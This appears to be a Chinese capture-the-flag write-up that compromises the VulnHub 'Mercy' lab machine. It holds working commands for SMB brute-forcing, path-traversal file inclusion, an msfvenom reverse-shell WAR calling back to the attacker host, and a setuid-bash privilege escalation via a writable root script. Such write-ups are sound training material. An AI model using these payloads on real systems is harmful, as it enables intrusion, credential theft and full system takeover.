前言
靶機:digitalworld.local-mercy
,IP地址為192.168.10.11
攻擊:kali
,IP地址為192.168.10.6
kali
采用VMware
虛擬機,靶機選擇使用VMware
打開文件,都選擇橋接網絡
這里官方給的有兩種方式,一是直接使用virtualbox
加載,另一種是通過VMware
直接加載,也給出了iso
鏡像文件。
文章中涉及的靶機,來源于
vulnhub
官網,想要下載,可自行訪問官網下載,或者通過網盤下載https://pan.quark.cn/s/86cf8a398835
主機發現
使用arp-scan -l
或netdiscover -r 192.168.10.1/24
掃描
也可以使用nmap
等工具進行
信息收集
使用nmap掃描端口
掃描tcp
端口,并保存于nmap-tcp
nmap -sT 192.168.10.11 --min-rate=1000 -p- -oA nmap-tcp
掃描常見的20個udp
端口,不過這里的端口明顯處于open
的很少
nmap -sU 192.168.10.11 --top-ports 20 -T4 -oA nmap-udp
把前面掃描出的tcp、udp
端口,進行處理,只取端口號
grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
grep open nmap-udp.nmap | grep -v "open|filtered" | awk -F'/' '{print $1}' | paste -sd ','
#這里就是包括可能開放的端口都不要,因為是靶機,可能過濾的話,也會無法進一步掃描
ports=53,110,139,143,445,993,995,8080,123,137
對特定的端口號進行深入探測
nmap -sV -O -sC -sT 192.168.10.11 -p $ports -oA detail
對特定的端口號進行漏洞檢測,前面端口的檢測,基本上都是在中間人攻擊時,數據傳輸的問題
這里對于http
服務進行了簡單的枚舉
nmap --script=vuln 192.168.10.11 -p $ports -oA vuln
網站信息收集
還是從網站開始下手進行
訪問8080端口的界面,查看頁面源代碼,無信息暴露,不過在文章最后提到兩個地址,是可以訪問的,不過需要認證,也就是登錄
訪問manager
界面
訪問host-manager
界面
使用gobuster
進行目錄爆破,也可以使用其他工具,如dirb、dirsearch
等
gobuster dir -u http://192.168.10.11:8080 -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404
與之前使用nmap
腳本時,枚舉的差不多,這里主要就是robots.txt
文件
訪問robots.txt
文件,發現一個路徑
訪問/tryharder/tryharder
,發現是某種編碼處理后的數據
根據特性,可能是base64
編碼,使用命令進行解碼處理
echo 'SXQncyBhbm5veWluZywgYnV0IHdlIHJlcGVhdCB0aGlzIG92ZXIgYW5kIG92ZXIgYWdhaW46IGN5YmVyIGh5Z2llbmUgaXMgZXh0cmVtZWx5IGltcG9ydGFudC4gUGxlYXNlIHN0b3Agc2V0dGluZyBzaWxseSBwYXNzd29yZHMgdGhhdCB3aWxsIGdldCBjcmFja2VkIHdpdGggYW55IGRlY2VudCBwYXNzd29yZCBsaXN0LgoKT25jZSwgd2UgZm91bmQgdGhlIHBhc3N3b3JkICJwYXNzd29yZCIsIHF1aXRlIGxpdGVyYWxseSBzdGlja2luZyBvbiBhIHBvc3QtaXQgaW4gZnJvbnQgb2YgYW4gZW1wbG95ZWUncyBkZXNrISBBcyBzaWxseSBhcyBpdCBtYXkgYmUsIHRoZSBlbXBsb3llZSBwbGVhZGVkIGZvciBtZXJjeSB3aGVuIHdlIHRocmVhdGVuZWQgdG8gZmlyZSBoZXIuCgpObyBmbHVmZnkgYnVubmllcyBmb3IgdGhvc2Ugd2hvIHNldCBpbnNlY3VyZSBwYXNzd29yZHMgYW5kIGVuZGFuZ2VyIHRoZSBlbnRlcnByaXNlLg==' | base64 -d
這里可以看到,解碼后是一段內容,主要就是弱密碼的問題,這里提示password
,就是弱密碼了
這里嘗試之前的兩個界面去登錄測試,發現并不可取,嘖,直接進行爆破也是可以,不過暫時繼續收集信息
smb信息收集
使用enum4linux
進行枚舉,發現幾個用戶和共享
enum4linux -a 192.168.10.11
使用nmap
的腳本進行探測
nmap --script=smb* 192.168.10.11
根據已知信息,進行匯集
用戶名有pleadformercy、qiu、fluffy、thisisasuperduperlonguser
密碼有一個暴露的提示,不知是否可用password
,不過這也提示可能是弱密碼
現在無ssh
服務,可以進行密碼爆破的有兩處,一個是http
的基本認證和smb
的爆破
漏洞尋找
先進行爆破測試,把之前獲取的用戶名保存在user
文件
hydra -L user -P /usr/share/wordlists/fasttrack.txt -e nsr 192.168.10.11 smb
這里可以看到,爆破出的密碼和給出的密碼是一樣的,都是password
以這個賬戶去登錄測試
smbclient //192.168.10.11/qiu -U qiu
把所有內容下載到kali
中
prompt #關閉交互,這樣下載時,默認選擇yes
recurce #開啟遞歸,把文件夾中的文件也會下載
mget * #下載所有內容
查看所有文件,尋找有無可用信息
訪問.private
目錄時,發現有信息,這里可能有東西
關鍵配置文件泄露
最終在opensesame
目錄下的config
文件發現好多配置
首先就是端口的開啟與關閉,采用開門的形式,這里是對http
80端口和ssh
22端口的配置
先開啟吧,這里可以使用knock
或nc
按照序列即可開啟端口
nc 192.168.10.11 159
nc 192.168.10.11 27391
nc 192.168.10.11 4
再開啟22
端口,一定要按照序列的順序
knock 192.168.10.11 17301 28504 9999
后面的配置信息都是apache2
和smb
的一些信息,并未透露什么敏感信息
那么訪問80端口,只有這個信息,并且查看頁面源代碼也沒有信息
和前面的8080
端口網站一樣,訪問robots.txt
文件試試有沒有
發現兩個路徑/mercy、nomercy
,訪問mercy
,發現是一段話,并且可能無用
訪問nomercy
,這可能是一個cms
,并且在測試時,點擊按鈕無反應,并且界面中顯示出了可能是cms
的名稱和版本信息
使用whatweb
進行探測,確實如此
whatweb http://192.168.10.11/nomercy
漏洞利用
使用searchsploit
搜索有無漏洞可利用,有一個
查看這個文檔,兩個可能,不過看來都像是文件包含
一個個的測試,先測試/windows/code.php
http://192.168.10.11/nomercy/windows/code.php?file=../../../../../../etc/passwd
這個也行,但是顯示結果只有一行
http://192.168.10.11/nomercy/windows/function.php?file=../../../../../../etc/passwd
嘗試進行遠程文件包含測試,發現并不行,雖然遠程文件是包含了,但是作為php
相當于沒有被解析
目前還有個8080
端口的配置文件可以包含查看一下,其他文件嘗試包含并不行
之前在8080端口的默認網站的最下面,提示到了這個用戶方面的配置文件的位置/etc/tomcat7/tomcat-users.xml
直接包含這個文件進行查看,獲取兩組,不過從配置來看thisisasuperduperlonguser
權限更大
用戶名 | 密碼 |
---|---|
thisisasuperduperlonguser | heartbreakisinevitable |
fluffy | freakishfluffybunny |
通過war文件反彈shell
登錄后,發現有部署war
文件,那么就需要測試
使用msfenvm
生成一個腳本
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.6 LPORT=9999 -f war -o shell.war
在kali
中使用nc
監聽對應的端口
nc -lvnp 9999
然后部署后,點擊部署的名稱shell
,即可獲取到反彈shell
水平提權
在這里折騰了一會,就沒截圖,直接切換fluffy
用戶,所用的密碼就是在tomcat
的配置文件中發現的兩組用戶,為什么能切換,首先就是確認了系統中有這個用戶,然后就是測試是否存在一個密碼多用的情況
在fluffy
的家目錄下的一個文件夾中,發現一個疑似定時任務的腳本,所屬者為root
,并且這個文件別人是可以修改的
就先添加一句,因為目前不確定
echo "chmod +s /bin/bash" >> timeclock
靶機內信息收集
收集系統內核及系統版本
uname -a/-r
cat /etc/issue
cat /etc/*release
查看網絡連接狀態
ip add
ss -antlp
查看以root
執行的進程
ps aux | grep root
上傳pspy64
腳本,發現無法執行,上傳les.sh
腳本,發現幾個可能性高的漏洞
但是因為靶機內沒有gcc
或cc
,所以我測試前面可能性較高的都無法執行后,就放棄了
使用find
尋找具有SUID權限的文件
find / -perm -u=s -type f 2>/dev/null
垂直提權至root
這里測試sudo -l
也是對當前用戶無用的,這里的/bin/bash
讓我確信,是前面的定時腳本任務執行了
echo "chmod +s /bin/bash" >> timeclock
就是這個在前面先輸入進去的
執行語句進行提權,然后查看/root
下的證明
/bin/bash -p
總結
該靶機考察以下幾點:
- 一個常見的
robots.txt
泄露敏感目錄 - 常見的編碼,這里是
base64
smb
服務的連接,以及文件的下載- 端口敲門服務,需要特定的序列順序
- 識別
cms
并得知其漏洞,這里就是文件包含漏洞,但是配合tomcat
的用戶配置文件的位置泄露,導致獲取到關鍵信息 - 對于
tomcat
的war
文件部署,通過msfvenom
生成腳本文件,并獲取反彈shell
- 水平提權時,用戶可能存在一碼多用的情況
- 提權至
root
時,收集到一個疑似定時任務的腳本,嘗試寫入語句,最終成功執行了。不過這里沒找到定時任務的內容,嘖。